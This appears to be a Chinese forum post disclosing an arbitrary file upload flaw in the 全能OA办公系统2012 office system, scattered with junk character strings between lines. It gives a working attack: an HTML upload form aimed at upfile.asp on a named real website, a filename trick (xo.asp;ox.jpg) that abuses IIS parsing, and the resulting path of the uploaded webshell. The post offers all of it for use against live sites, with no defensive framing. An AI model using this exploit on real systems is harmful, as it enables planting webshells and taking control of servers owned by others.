全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：
0 y& Z% j0 h* i7 D6 T. }
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

) ]/ U, @8 y+ J0 R主要功能：
公司通告
工作计划
通讯助理
客户资源
我的公文
公文传阅
公共资源
/ ^8 _8 j" N% L3 o, Z# f资源预约
  Y: c$ X; @% n0 {# U* \今日考勤
个人计划
1 L2 Q7 `, W$ v6 `) V个人通讯录
$ S$ M6 R3 Y& O8 Z9 [个人基本档案
未读邮件
发邮件
收件夹
+ S! s" W: n* X! S; S! ^寄件夹
# N4 k3 A: f* m! m: l! i网络硬盘
3 b0 Q6 Q  }7 H5 O$ r. U网络会议
7 O2 F& e4 |: I7 C& _$ x网络调查
交流论坛

5 B/ g; F! H) H; F" G) |3 P. H, f有兴趣测试的朋友可以下源码看看

源码下载：

5 A8 j4 }8 @# p  r) m  N& J! yhttp://www.mycodes.net/30/4750.htm
# L; t  C/ R" d4 J. \  F* D/ e
漏洞介绍：
# H: ?0 x" S; }& B9 {+ p
由upfile.asp上传文件漏洞引起

测试方法：

+ F; b& D7 C. w3 S; E) O使用名小子上传http://www.itlynn.com/upfile.asp即可
& n7 i! F' }$ h, R" q
如果upfile.asp文件被删除不存在。

  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

6 c; f9 y' ]: s6 m$ X0 @; A如果存在那么将如下代码保存为upfile.html。

然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
  t9 u4 Q* r3 N
$ T# Q2 D* Y! b( m
9 ]% P  \) E2 \: c7 }6 E
/ ~& C% m; f7 f( B( A/ m01 <table border='0' align="center" cellpadding="5">

. n0 ~2 B# J7 y: u! r) B* A5 Z, B7 C02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
) t( T  @' k  ~' s# D
1 L5 {3 L4 z- R5 k- V' P03 <tr>
3 V( V, b" ]9 {( M* \
04             <td>报错：</td>
) u. M  U$ y) p% O
$ F; d* B# u4 M05             <td><input type='radio' name='errnumber' value='0'>
, G0 f( J9 u% z3 U" `. N/ b$ ?$ i
2 d/ @0 ?# h, h2 w- e5 T# E06               自动更名
! E$ {( [1 A8 Q! f9 I
07               <input type='radio' name='errnumber' value='1' checked>
6 R4 n3 |6 R: ?% V+ ~4 e: f; i& M4 ~
8 h7 h7 ?$ }  b  ~' [! ?08               报错方式
3 W4 h6 V& N# k# X+ w
09               <input type='radio' name='errnumber' value='2'>

10               直接覆盖</td>
3 o# X. c+ v8 x6 u9 C! |$ V
) O' \% \! O. {4 o6 T8 w: i' j, ?11           </tr>

* N' g1 Z) k8 u12           <tr>

$ q$ @+ r' T; i5 S; N) [13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>
& l1 m' j0 E1 ^+ X& O! U) m
7 u) ]- z  z- @% m15           </tr>

' {) ~4 P  l$ I" [+ v16           <tr>
# u# e  p) b3 H) J/ c' Y$ c# m
17             <td>文件：</td>

: T" i& E! l6 p" B7 h; b18             <td><input type="file"name="fruit"size="30"></td>

19           </tr>

20           <tr>

+ Q$ L' y! t9 h; s# h- s5 v21             <td valign='top'>简介：</td>
& }& V- p9 {6 g  M, i* y. Z# w: ^
% `0 d' N8 Z6 _# L6 s, w3 ?$ S! g/ n+ x% A22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>
! B0 w$ F: F" T8 n0 d& W; Z. o  Q
( T7 O1 u7 Z" v% j/ l24   

' g* w3 @/ M9 F: U25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
# d) G7 A' L0 ]: |3 c; l, D. {
0 ], v- n8 c1 o1 B26           </tr>

27         </form>

( j. E6 s) @* X6 F然后打开上传一个文件名为xo.asp;ox.jpg的文件。

" L4 I/ U! ~1 a

& y  U- _5 n9 f4 E' B上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
6 R* r0 Y1 H! h' e% N! m# Q, x
4 o2 h" V% T/ |6 p0 t, S. V4 m3 I' C* J此漏洞需要配合解析漏洞利用。